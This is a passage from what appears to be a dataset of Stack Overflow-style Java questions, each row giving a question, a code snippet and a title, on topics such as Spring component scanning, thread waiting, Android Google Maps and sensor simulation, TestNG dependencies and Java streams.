) { return new ArrayList < String > ( ) ; } } Warning : ( 6 , 56 ) java : unchecked conversion required : java.util.List < java.lang.String > found : java.util.List",Are Java Generics an All-or-Nothing Decision ? +Java,"I have a Spring Boot application with the following structureMy application class isWhen I start the application both Component1 and Component2 are identified as candidate components . However , only Component1 is instantiated.Component2 will only instantiate when I make either of the following changesI move it to com.package i.e . the same as Component1I declare it as a @ Autowired field in com.package.ConfigurationWhy does Spring Boot discover the component but not instantiate it in this case ? Are there differences in how @ ComponentScan works with regards to discovering vs instantiating @ Component ?","com.package Application - annotated with @ SpringBootApplication Configuration - annotated with @ Configuration Component1 - annotated with @ Component , constructor annotated with @ Autowiredcom.package.subpackage Component2 - annotated with @ Component , constructor annotated with @ Autowired package com.package ; import org.springframework.boot.SpringApplication ; import org.springframework.boot.autoconfigure.SpringBootApplication ; @ SpringBootApplicationpublic class Application { public static void main ( String [ ] args ) { SpringApplication.run ( Application.class , args ) ; } }",Why does Spring Boot discover but not instantiate a @ Component ? +Java,I 'm trying to have ContextEventListener on all ContextXXXEventI created a listener for each event type as following ( the ContextRefreshedEvent is an Example ) : Both ContextRefreshedEvent and ContextClosedEvent were caught and their listeners did the expected job.I tried to do the same for ContextStartedEvent and ContextClosedEvent but both of these two events listeners were not caught.The event.getSource printed ( in the refreshed and closed events ) : Is there any difference between ( started and stopped ) and ( refreshed and closed ) ? Is it because my application context is WebApplicationContext ( as the event.getSource ( ) shows ? ),"@ Componentpublic class MyApplicationRefreshedListener implements ApplicationListener < ContextRefreshedEvent > { @ Override public void onApplicationEvent ( ContextRefreshedEvent event ) { logger.info ( getClass ( ) , `` Event source [ { } ] '' , event.getSource ( ) ) ; } } Event source [ Root WebApplicationContext : startup date [ Tue May 09 10:07:51 IDT 2017 ] ; root of context hierarchy ]",ApplicationContext events never been thrown +Java,"In the system , I have an object - let 's call it TaskProcessor . It holds queue of tasks , which are executed by some pool of threads ( ExecutorService + PriorityBlockingQueue ) The result of each task is saved in the database under some unique identifier.The user , who knows this unique identifier , may check the result of this task . The result could be in the database , but also the task could still wait in the queue for execution . In that case , UserThread should wait until the task will be finished.Additionally , the following assumptions are valid : Someone else could enqueue the task to TaskProcessor and some random UserThread can access the result if he knows the unique identifier.UserThread and TaskProcess are in the same app . TaskProcessor contains a pool of threads , and UserThread is simply servlet Thread.UserThread should be blocked when asking for the result , and the result is not completed yet . UserThread should be unblocked immediately after TaskProcessor complete task ( or tasks ) grouped by a unique identifierMy first attempt ( the naive one ) , was to check the result in the loop and sleep for some time : But I do n't like it . First of all , I am wasting database connections . Moreover , if the task would be finished right after sleep , then the user will wait even if the result just appeared.Next attempt was based on wait/notify : But I do n't like it either . If more UserThreads will use TaskProcessor , then they will be wakened up unnecessarily every time some task would be completed and moreover - they will make unnecessary database calls.The last attempt was based on something which I called waitingRoom : But it seems to be not secure . Between database check and wait ( ) , the task could be completed ( notify ( ) would n't be effective because UserThread did n't invoke wait ( ) yet ) , which may end up with deadlock.It seems , that I should synchronize it somewhere . But I am afraid that it will be not effective.Is there a way to correct any of my attempts , to make them secure and effective ? Or maybe there is some other , better way to do this ?","// UserThreadwhile ( ! checkResultIsInDatabase ( uniqueIdentifier ) ) sleep ( someTime ) //UserThread while ( ! checkResultIsInDatabase ( ) ) taskProcessor.wait ( ) //TaskProcessor ... some complicated calculationsthis.notifyAll ( ) //UserThreadObject mutex = new Object ( ) ; taskProcessor.addToWaitingRoom ( uniqueIdentifier , mutex ) while ( ! checkResultIsInDatabase ( ) ) mutex.wait ( ) //TaskProcessor ... Some complicated calculationsif ( uniqueIdentifierExistInWaitingRoom ( taskUniqueIdentifier ) ) getMutexFromWaitingRoom ( taskUniqueIdentifier ) .notify ( )",Secure and effective way for waiting for asynchronous task +Java,"I 'm using Spring AOP and therefore indirectly CGLIB in my Spring MVC controller . Since CGLIB needs an default constructor I included one and my controller now looks like this : The problem now is , that IntelliJ IDEA 's static code analysis reports a potential NullPointerException , because this.exampleService might be null . My question is : How to prevent these false positive null pointer warnings ? One solution would be to add assert this.exampleService ! = null or maybe use Guava 's Preconditions.checkNotNull ( this.exampleService ) . However , this has to be added to each method for each and every field used in this method . I would prefer a solution I could add in a single place . Maybe a annotation on the default constructor or something ? EDIT : Seems to be fixed with Spring 4 , however I 'm currently using Spring 3 : http : //blog.codeleak.pl/2014/07/spring-4-cglib-based-proxy-classes-with-no-default-ctor.html",@ Controllerpublic class ExampleController { private final ExampleService exampleService ; public ExampleController ( ) { this.exampleService = null ; } @ Autowired public ExampleController ( ExampleService exampleService ) { this.exampleService = exampleService ; } @ Transactional @ ResponseBody @ RequestMapping ( value = `` /example/foo '' ) public ExampleResponse profilePicture ( ) { return this.exampleService.foo ( ) ; // IntelliJ reports potential NPE here } },"How to prevent false positive null pointer warnings , when using CGLIB / Spring AOP ?" +Java,"I was using TimeUnit.MILLISECONDS.toDays ( ms ) to convert a millisecond time quantity to days but reading the JavaDoc I noticed it 's based on .convert ( ) and loses precision Convert the given time duration in the given unit to this unit . Conversions from finer to coarser granularities truncate , so lose precision . For example converting 999 milliseconds to seconds results in 0 . Conversions from coarser to finer granularities with arguments that would numerically overflow saturate to Long.MIN_VALUE if negative or Long.MAX_VALUE if positive.It was really not expected , my 5 minutes ( 300000ms ) became 0 days . The immediate solution was to write thisIt 's awful and I think unnecessary , but it works . Any advice ? Any other functions I can use ? ps : I 'm not waiting you to tell me I should put those numbers into static vars , I 'm trying to understand what kind of solution would be a good solution . Thanks in advance",double days= ( double ) ms/1000*60*60*24 ;,Is there a way to obtain a milliseconds to days conversion without losing precision and without the need to write the mathematical formula in Java ? +Java,"Today , some other developer found an XML schema with some interesting nesting , which JAXB compiled into a structure like this : If you try to compile this , the Java compiler says , with of course , the underline on the innermost class Choice declaration.But I say , class Choices.Choice is not what it was trying to declare . Rather , it was trying to declare Choices.Choice.Choice , which would be a different class.Interestingly , this is fine : But this is banned : So I guess the rule is that the name of a class ca n't be the same as a containing class at any level . Obviously the fix here is already known- get JAXB not to generate invalid code.But my question is , why is this restriction even present ? What is the Java compiler trying to avoid by not letting us create an inner class with the same name as a containing class ?",public class Choices { public static class Choice { public static class Choice { } } } class Choices.Choice is already defined in class Choices public class OuterClass { public static class Inner1 { public static class Inner2 { } } public static class Inner2 { public static class Inner1 { } } } public class OuterClass { public static class Inner1 { public static class Inner2 { public static class Inner1 { } } } },Why ca n't I have a two-level-deep inner class with the same name as its containing class ? +Java,In scenarios where I am using 5-10 replacements is it necessary to use stringbuilder.Will it make a difference if I use stringBuilder Here .,"String someData = `` ... ... '' ; someData = someData.replaceAll ( `` ( ? s ) < tag_one > . * ? < /tag_one > '' , `` '' ) ; someData = someData.replaceAll ( `` ( ? s ) < tag_two > . * ? < /tag_two > '' , `` '' ) ; someData = someData.replaceAll ( `` ( ? s ) < tag_three > . * ? < /tag_three > '' , `` '' ) ; someData = someData.replaceAll ( `` ( ? s ) < tag_four > . * ? < /tag_four > '' , `` '' ) ; someData = someData.replaceAll ( `` ( ? s ) < tag_five > . * ? < /tag_five > '' , `` '' ) ; someData = someData.replaceAll ( `` < tag_five/ > '' , `` '' ) ; someData = someData.replaceAll ( `` \\s+ '' , `` '' ) ;",Java String.replace ( ) or StringBuilder.replace ( ) +Java,"This seems to be a new example of a false positive of the rule `` Conditionally executed blocks should be reachable '' ( squid : S2583 ) . Does anyone know why SonarQube claims that if ( this.x == 0 ) always evaluates to false in the following Java class ? Clearly the variable x can be set to 1 and then decrementX ( ) will get into that exact condition : ( executed on SonarQube server 5.6.6 with SonarJava plugin 4.13.0.11627 ) Update : as noted by Absurd-Mind , SonarQube is happy when this.x is shortened to x . In my opinion , this is a false-positive .",public class MyClass { private long x ; void setX ( long x ) { this.x = x ; } public void decrementX ( ) { if ( this.x > 0 ) { this.x -- ; if ( this.x == 0 ) { // < -- Always false ? ! // apparently dead code } } } } @ Testpublic void testDecrement ( ) { MyClass c = new MyClass ( ) ; c.setX ( 1 ) ; c.decrementX ( ) ; },SonarQube claims condition to always evaluate to false for fields accessed with `` this . '' +Java,"I have a very strange problem I developed my application using my HTC One V running 4.0.3 OS . Now the application works superb on mine and few other random 2.2 and 2.3 and 4+ devices but on some devices despite them having GooglePlayStore on them the application starts and it loads but does not show the map on other despite them having GPStore on them the application crashes saying GPStore/Service is not present . I tried to test the application on AVD Devies but none of them have GooglePlayStore installed . I tried Google Play on Android 4.0 emulator approach to push GPStore on to them but no success . My droid SDK is fully updated : I compile my application withIn my main activity I check if Google Play Service/Store is present to determine if GoogleMaps can be used : The method that checks the state of GooglePlay Service is located in my Services.java bellow : And my map is simply handled in my MapAgent class nothing impressive just handling markers . I 'm out of all ideas I ca n't get GooglePlay Service running on AVD 2.2+ I tried AVD 4.4 Google Play API it comes GPService but ti wont display the map . So to directly point out my sub questions : 1 ) If all AVD 's from 2.2 up to 4.4 are all without working GooglePlay Services then how can we test application for multiple phones and OS versions without having multiple phones . 2 ) Is there a sure way or a more proper way to display GoogleMap on older devices I 'm talking Android 2.2+ I used the most trivial way to display my map I have a SupportMap Fragment element in my Layout xml . The problem I 'm experiencing is that some 2.2 and 2.3 phones that have GooglePlayStore on them will or wont open the application those that do open the application do not display the map but they do display the map zoom controls and Google logo at the bottom.3 ) I added my layout file but I do not have my android phone anymore and AVD does not let me test application that require GooglePlayServices is it possible that my layout displayed bellow is causing the problem due to overlay layout.I basically have a frame layout in the background I have GoogleMap and on top of that in top corner I have a spinner and a button . When I last tested this application it worked on my phone HTC One V Android 4.0.3.EASIEST SOLUTION : To all friends who come across this issue of not being able to fully test your applications via AVD make the switch to Genymotion Emulator it is a life saver . It is faster , it is less buggy and it supports every single feature a real phone does and makes testing for Android apps since 2.2 so much easier . I went Genny and never looked back .","public class Map extends FragmentActivity implements Observer { private MapAgent agent ; private Locator locator ; private Spinner spinner ; private Button gps ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; // Get a new instance of Locator agent locator = new Locator ( ) ; // Register as Observer to Locator agent locator.addObserver ( this ) ; // Check if Internet connection is available if ( Services.connectivityServiceState ( this ) ) { // We have a working Internet connection // Check if we have a GooglePS in operating mode if ( Services.playServiceState ( this ) ) { // Load the map setContentView ( R.layout.activity_map ) ; // Fetch dropdown list & gps button reference spinner = ( Spinner ) findViewById ( R.id.bankslist ) ; gps = ( Button ) findViewById ( R.id.gpsbttn ) ; // Register event listener with gps button gps.setOnClickListener ( new GpsAction ( this ) ) ; // Register event listener with spinner spinner.setOnItemSelectedListener ( new SpinnerAction ( ) ) ; // Fetch our map agent = new MapAgent ( this ) ; // Move map camera to initial position agent.initialPosition ( ) ; } else { // GooglePS is not in operating mode Messages.playNotificationMessage ( this ) ; } } else { // No Internet connection // Prompt user to turn on WiFi or Mobile Messages.internetConnectionRequestMessage ( this ) ; } } public class Services { /** * OPERATING CODES */ private static final int GPS_ERR_REQUEST = 9000 ; /** * Test device for GooglePlayServices , required for * GoogleMaps API V2 . * * @ param Activity * @ result boolean */ public static boolean playServiceState ( Activity context ) { // Fetch GooglePS operating code int code = GooglePlayServicesUtil.isGooglePlayServicesAvailable ( context ) ; // Check if GooglePS is operating if ( code == ConnectionResult.SUCCESS ) { // We have GooglePS in working condition return true ; } // We have an error , check if it can be resolved by user /*if ( GooglePlayServicesUtil.isUserRecoverableError ( code ) ) { // We can solve this error pull up GooglePS guide dialog Dialog guide = GooglePlayServicesUtil.getErrorDialog ( code , context , GPS_ERR_REQUEST ) ; // Show the guide dialog guide.show ( ) ; // Dispose of our activity context.finish ( ) ; } */ // We do not have GooglePS in operating mode // solve error and retry return false ; } /** * Tests devices Wi-Fi and Mobile network for a * working Internet connection . * * @ param Activity * @ return boolean */ public static boolean connectivityServiceState ( Activity context ) { // Fetch a CM instance ConnectivityManager con = ( ConnectivityManager ) context.getSystemService ( Context.CONNECTIVITY_SERVICE ) ; // Test both carriers for a working Internet connection NetworkInfo wifi = con.getNetworkInfo ( ConnectivityManager.TYPE_WIFI ) ; NetworkInfo mobi = con.getNetworkInfo ( ConnectivityManager.TYPE_MOBILE ) ; // Check for Internet connection if ( wifi.isConnected ( ) || mobi.isConnected ( ) ) { // We have a working internet connection return true ; } // No internet connection return false ; } /** * Test NETWORK service to determine if Google Location * services are enabled or not . */ public static boolean networkServiceState ( Activity context ) { // Fetch a LM instance LocationManager provider = ( LocationManager ) context.getSystemService ( Context.LOCATION_SERVICE ) ; // Return true for enabled GLS return provider.isProviderEnabled ( LocationManager.NETWORK_PROVIDER ) ; } /** * Tests GPS service to determine if GPS * is enabled or not . * * @ param Activity * @ result boolean */ public static boolean gpsServiceState ( Activity context ) { // Fetch a LM instance LocationManager provider = ( LocationManager ) context.getSystemService ( Context.LOCATION_SERVICE ) ; // Return true for enabled GPS return provider.isProviderEnabled ( LocationManager.GPS_PROVIDER ) ; } /** * Checks if a GPS Radio is present * within the device . * * @ param Activity * @ return boolean */ public static boolean hasGPS ( Activity context ) { // Refere to devices package manager for GPS service return context.getPackageManager ( ) .hasSystemFeature ( PackageManager.FEATURE_LOCATION_GPS ) ; } } public MapAgent ( FragmentActivity context ) { // Fetch the map support fragment SupportMapFragment fragment = ( ( SupportMapFragment ) context.getSupportFragmentManager ( ) .findFragmentById ( R.id.map ) ) ; // Fetch map and view map = fragment.getMap ( ) ; // Set initial zoom zoom = 7 ; // Check if this is the first run final SharedPreferences prefs = context.getSharedPreferences ( `` slo.bankomati.core '' , Context.MODE_PRIVATE ) ; if ( prefs.getBoolean ( `` firstrun '' , true ) ) { // Check if database exists and delete it if ( Database.exists ( context ) ) { Database.delete ( context ) ; } prefs.edit ( ) .putBoolean ( `` firstrun '' , false ) ; } // Fetch all atms try { db = new Database ( context ) ; atms = db.getAtms ( ) ; db.close ( ) ; } catch ( Exception e ) { // TODO : Temporary solution } // Create an empty array for filtered results filtered = new ArrayList < Atm > ( ) ; markers = new HashMap < Marker , Atm > ( ) ; // Reference the resources and context this.resources = context.getResources ( ) ; this.context = context ; // Register camera & info window listener with the map map.setOnCameraChangeListener ( this ) ; //map.setOnInfoWindowClickListener ( new ShowDetails ( context , resources ) ) ; map.setOnMarkerClickListener ( new ShowDetails ( context ) ) ; } < FrameLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' xmlns : map= '' http : //schemas.android.com/apk/res-auto '' android : id= '' @ +id/root_view '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : orientation= '' vertical '' > < fragment android : id= '' @ +id/map '' android : name= '' com.google.android.gms.maps.SupportMapFragment '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' / > < Button android : id= '' @ +id/gpsbttn '' android : layout_width= '' 28dp '' android : layout_height= '' 28dp '' android : layout_marginLeft= '' 10dp '' android : layout_marginTop= '' 10dp '' android : background= '' @ drawable/gps '' android : minHeight= '' 28dip '' android : minWidth= '' 28dip '' android : text= '' '' / > < Spinner android : id= '' @ +id/bankslist '' android : layout_width= '' match_parent '' android : layout_height= '' 36dp '' android : layout_marginLeft= '' 48dp '' android : layout_marginRight= '' 10dp '' android : layout_marginTop= '' 10dp '' android : entries= '' @ array/banks_list '' android : prompt= '' @ string/banks_prompt '' / > < /FrameLayout >",AVD Can not test any application using AVD +Java,"testng brings junit to project as transitive Maven dependency . Is n't it supposed to be a replacement for junit ? from mvn dependency : tree : Seriously , why ? This causes constant pains because IDE offers to import both @ Test annotations , they are almost identical in use , leading to having both junit and testng tests in project.Is it safe to exclude junit transitive dependency ? What might break ?",[ INFO ] +- org.testng : testng : jar:6.9.6 : test [ INFO ] | \- junit : junit : jar:4.10 : test [ INFO ] | \- org.hamcrest : hamcrest-core : jar:1.1 : test,Why does testng depend on junit ? +Java,"I 'm reading Effective Java 3 and noticed this code in Item 43 : “ Prefer method references to lambdas ” : Notice the type parameters . I 've always just done : I use Intellij and have never gotten a warning about this or any recommendation to change it . In fact , when I have the IDE change the above method reference into a lambda it converts it toWhat is the value in including the type parameters ? Ca n't the compiler infer it based on the type parameters of the variable ? Based on how the IDE transformed the method reference into a lambda it seems like it can .","TreeMap < K , V > : :new TreeMap : :new ( ) - > new TreeMap < Integer , Integer > ( )","In constructor method references , difference between using generic type parameters and not ?" +Java,"Does anyone know a better way to write the following statement : I need the array type , but I dont know if there is a better solution . At the moment this example works for me , but perhaps someone knows a better way to do the same without the new keyword .",example.mySpecialMethod ( new MySpecialClass [ 0 ] .getClass ( ) ),How to get the class associated to an array type ? +Java,"I am working on an extensible sensing and data processing framework for Android mobile devices . It will enable a wide range of data signals ( e.g. , Temperature , Battery , pressure , wifi signal strength , etc . ) accessible via Android mobile devices . To test sensors , I deploy my written android code on my Android device . Here , the limitation comes -- -my android device has a limited set of sensors ( for example , it does not has temperature sensor ) So , I can not test all the written code for all types of sensors ( e.g. , temperature , pressure , etc . ) .On Internet , I have checked SensorSimulator project ( ) , but it does not work for me . I am getting the following errors . I have written the following code , Suggested on the website to connect SensorSimulator through Java Project . AndroidManifest file contains the","05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : FATAL EXCEPTION : main05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : java.lang.RuntimeException : Unable to start activity ComponentInfo { com.example.helloworldsensorsimulator/com.example.helloworldsensorsimulator.MainActivity } : android.os.NetworkOnMainThreadException05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2121 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2146 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.ActivityThread.access $ 700 ( ActivityThread.java:140 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1238 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.os.Handler.dispatchMessage ( Handler.java:99 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.os.Looper.loop ( Looper.java:177 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.ActivityThread.main ( ActivityThread.java:4947 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.lang.reflect.Method.invokeNative ( Native Method ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.lang.reflect.Method.invoke ( Method.java:511 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:1038 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:805 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at dalvik.system.NativeStart.main ( Native Method ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : Caused by : android.os.NetworkOnMainThreadException05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.os.StrictMode $ AndroidBlockGuardPolicy.onNetwork ( StrictMode.java:1118 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at libcore.io.BlockGuardOs.connect ( BlockGuardOs.java:84 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at libcore.io.IoBridge.connectErrno ( IoBridge.java:127 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at libcore.io.IoBridge.connect ( IoBridge.java:112 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.net.PlainSocketImpl.connect ( PlainSocketImpl.java:192 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.net.PlainSocketImpl.connect ( PlainSocketImpl.java:172 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.net.Socket.startupSocket ( Socket.java:566 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.net.Socket.tryAllAddresses ( Socket.java:127 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.net.Socket. < init > ( Socket.java:177 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at java.net.Socket. < init > ( Socket.java:149 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at org.openintents.sensorsimulator.hardware.SensorSimulatorClient.connect ( SensorSimulatorClient.java:116 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at org.openintents.sensorsimulator.hardware.SensorManagerSimulator.connectSimulator ( SensorManagerSimulator.java:220 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at com.example.helloworldsensorsimulator.MainActivity.onCreate ( MainActivity.java:37 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.Activity.performCreate ( Activity.java:5207 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1094 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2085 ) 05-03 01:40:40.766 : E/AndroidRuntime ( 10139 ) : ... 11 more < uses-permission android : name= '' android.permission.INTERNET '' / > import org.openintents.sensorsimulator.hardware.Sensor ; import org.openintents.sensorsimulator.hardware.SensorEvent ; import org.openintents.sensorsimulator.hardware.SensorEventListener ; import org.openintents.sensorsimulator.hardware.SensorManagerSimulator ; public class MainActivity extends Activity { private SensorManagerSimulator mSensorManager ; private SensorEventListener mEventListenerAccelerometer ; private SensorEventListener mEventListenerGravity ; private SensorEventListener mEventListenerLinearAcceleration ; private SensorEventListener mEventListenerLight ; private SensorEventListener mEventListenerTemperature ; private SensorEventListener mEventListenerOrientation ; private SensorEventListener mEventListenerMagneticField ; private SensorEventListener mEventListenerPressure ; private SensorEventListener mEventListenerRotationVector ; private SensorEventListener mEventListenerBarcode ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; mSensorManager = SensorManagerSimulator.getSystemService ( this , SENSOR_SERVICE ) ; mSensorManager.connectSimulator ( ) ; initListeners ( ) ; } private void initListeners ( ) { mEventListenerAccelerometer = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Accelerometer : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; /*mTextViewAccelerometer.setText ( `` Accelerometer : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; */ } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerLinearAcceleration = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Linear Acceleration : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; /*mTextViewLinearAcceleration.setText ( `` Linear Acceleration : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; */ } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerGravity = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Gravity : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; /*mTextViewGravity.setText ( `` Gravity : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; */ } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerMagneticField = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Compass : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; /*mTextViewMagneticField.setText ( `` Compass : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; */ } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerOrientation = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Orientation : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; /*mTextViewOrientation.setText ( `` Orientation : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; */ } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerTemperature = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Temperature : `` + values [ 0 ] ) ; //mTextViewTemperature.setText ( `` Temperature : `` + values [ 0 ] ) ; } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerLight = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Light : `` + values [ 0 ] ) ; //mTextViewLight.setText ( `` Light : `` + values [ 0 ] ) ; } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerPressure = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` Pressure : `` + values [ 0 ] ) ; //mTextViewPressure.setText ( `` Pressure : `` + values [ 0 ] ) ; } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerRotationVector = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { float [ ] values = event.values ; System.out.println ( `` RotationVector : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; /* mTextViewRotationVector.setText ( `` RotationVector : `` + values [ 0 ] + `` , `` + values [ 1 ] + `` , `` + values [ 2 ] ) ; */ } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; mEventListenerBarcode = new SensorEventListener ( ) { @ Override public void onSensorChanged ( SensorEvent event ) { System.out.println ( `` Barcode : `` + event.barcode ) ; //mTextViewBarcode.setText ( `` Barcode : `` + event.barcode ) ; } @ Override public void onAccuracyChanged ( Sensor sensor , int accuracy ) { } } ; } @ Override protected void onResume ( ) { super.onResume ( ) ; /* mSensorManager.registerListener ( mEventListenerAccelerometer , mSensorManager.getDefaultSensor ( Sensor.TYPE_ACCELEROMETER ) , SensorManager.SENSOR_DELAY_FASTEST ) ; mSensorManager.registerListener ( mEventListenerLinearAcceleration , mSensorManager .getDefaultSensor ( Sensor.TYPE_LINEAR_ACCELERATION ) , SensorManager.SENSOR_DELAY_FASTEST ) ; mSensorManager.registerListener ( mEventListenerGravity , mSensorManager.getDefaultSensor ( Sensor.TYPE_GRAVITY ) , SensorManager.SENSOR_DELAY_FASTEST ) ; mSensorManager.registerListener ( mEventListenerMagneticField , mSensorManager.getDefaultSensor ( Sensor.TYPE_MAGNETIC_FIELD ) , SensorManager.SENSOR_DELAY_FASTEST ) ; mSensorManager.registerListener ( mEventListenerOrientation , mSensorManager.getDefaultSensor ( Sensor.TYPE_ORIENTATION ) , SensorManager.SENSOR_DELAY_FASTEST ) ; */ mSensorManager.registerListener ( mEventListenerTemperature , mSensorManager.getDefaultSensor ( Sensor.TYPE_TEMPERATURE ) , SensorManager.SENSOR_DELAY_FASTEST ) ; /*mSensorManager.registerListener ( mEventListenerLight , mSensorManager.getDefaultSensor ( Sensor.TYPE_LIGHT ) , SensorManager.SENSOR_DELAY_FASTEST ) ; mSensorManager.registerListener ( mEventListenerPressure , mSensorManager.getDefaultSensor ( Sensor.TYPE_PRESSURE ) , SensorManager.SENSOR_DELAY_FASTEST ) ; mSensorManager.registerListener ( mEventListenerBarcode , mSensorManager.getDefaultSensor ( Sensor.TYPE_BARCODE_READER ) , SensorManager.SENSOR_DELAY_FASTEST ) ; mSensorManager.registerListener ( mEventListenerRotationVector , mSensorManager.getDefaultSensor ( Sensor.TYPE_ROTATION_VECTOR ) , SensorManager.SENSOR_DELAY_FASTEST ) ; */ } @ Override protected void onStop ( ) { /*mSensorManager.unregisterListener ( mEventListenerAccelerometer ) ; mSensorManager.unregisterListener ( mEventListenerLinearAcceleration ) ; mSensorManager.unregisterListener ( mEventListenerGravity ) ; mSensorManager.unregisterListener ( mEventListenerMagneticField ) ; mSensorManager.unregisterListener ( mEventListenerOrientation ) ; */ mSensorManager.unregisterListener ( mEventListenerTemperature ) ; /*mSensorManager.unregisterListener ( mEventListenerLight ) ; mSensorManager.unregisterListener ( mEventListenerPressure ) ; mSensorManager.unregisterListener ( mEventListenerRotationVector ) ; mSensorManager.unregisterListener ( mEventListenerBarcode ) ; */ super.onStop ( ) ; } @ Override public boolean onCreateOptionsMenu ( Menu menu ) { // Inflate the menu ; this adds items to the action bar if it is present . getMenuInflater ( ) .inflate ( R.menu.main , menu ) ; return true ; } }",Alternative of openintents for simulating sensors for Android +Java,I 'm trying to separate function from state in my GUI application by the use of Action objects . I 've been successful in using these to create menu items and buttons that have the same functionality.My problem is this : I want to have the same Action for both the 'exit ' item in my menu and the close button of the frame.Currently I 've been able to solve it by adding the following WindowListener to the frame : Is n't there a simpler more straightforward way to do this ?,"private class MainWindowListener extends WindowAdapter { @ Override public void windowClosing ( WindowEvent e ) { new ExitAction ( model ) .actionPerformed ( new ActionEvent ( e.getSource ( ) , e.getID ( ) , `` Exit '' ) ) ; } }",AbstractAction as WindowListener +Java,"Suppose i have multiple java 8 streams that each stream potentially can be converted into Set < AppStory > , now I want with the best performance to aggregate all streams into one DISTINCT stream by ID , sorted by property ( `` lastUpdate '' ) There are several ways to do what but i want the fastest one , for example : ... but it is the old way . How can I create 